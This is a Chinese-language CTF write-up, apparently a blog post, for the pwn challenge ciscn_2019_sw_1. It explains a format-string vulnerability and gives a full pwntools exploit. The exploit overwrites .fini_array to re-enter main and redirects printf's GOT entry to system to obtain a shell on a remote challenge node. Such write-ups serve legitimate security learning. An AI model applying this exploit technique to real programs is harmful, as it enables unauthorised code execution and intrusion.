ciscn_2019_sw_1(fmt改fini_array无限循环)

在这里插入图片描述很明显的格式化漏洞,但是printf只能用一次
我们可以修改fini_array
在这里插入图片描述简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。
而我们的目标就是修改.fini_array数组的第一个元素为start或者main函数地址。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload。
两种方法

# coding=utf-8
from pwn import *

io = remote("node3.buuoj.cn",25567)
#io = process("./ciscn_2019_sw_1")
elf = ELF("./ciscn_2019_sw_1")

printf_got = elf.got["printf"] 
system_plt = elf.plt["system"] #080483D0
fini_array = 0x0804979C
main_addr = elf.symbols["main"] #0x8048534

#写法一,参考大佬的
#payload = p32(fini_array) + p32(fini_array + 2) + p32(printf_got+2) + p32(printf_got)
#payload += "%" + str(0x8534 - 0x10) + "c%4$hn"
#payload += "%" + str(0x10804 - (0x8534)) + "c%5$hn"
#payload += "%" + str(0x183D0 - 0x10804) + "c%6$hn"
#payload += "%" + str(0x20804 - 0x183D0) + "c%7$hn"

#写法二,按顺序改
payload = p32(fini_array + 2) + p32(printf_got+2) + p32(printf_got) + p32(fini_array)
payload += "%" + str(0x0804 - 0x10) + "c%4$hn"    #0804 
payload += "%5$hn"                                #0804 
payload += "%" + str(0x83D0 - 0x0804) + "c%6$hn"  #83D0
payload += "%" + str(0x8534 - 0x83D0) + "c%7$hn"  #8534

io.recvuntil("name?\n")
io.sendline(payload)
io.recvuntil("name?\n")
io.sendline("/bin/sh\x00")

io.interactive()

其它还好,就是改值有点麻烦;
首先时fini的地址改成0x8048534
分两次:0x8534 0x804
第一次0x8534=34084+4*4
第二次由于肯定大于0x804所以想办法变成0x10804,这样写的也还是0x0804,
所以0x10804=0x8534+33488
后面同理

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值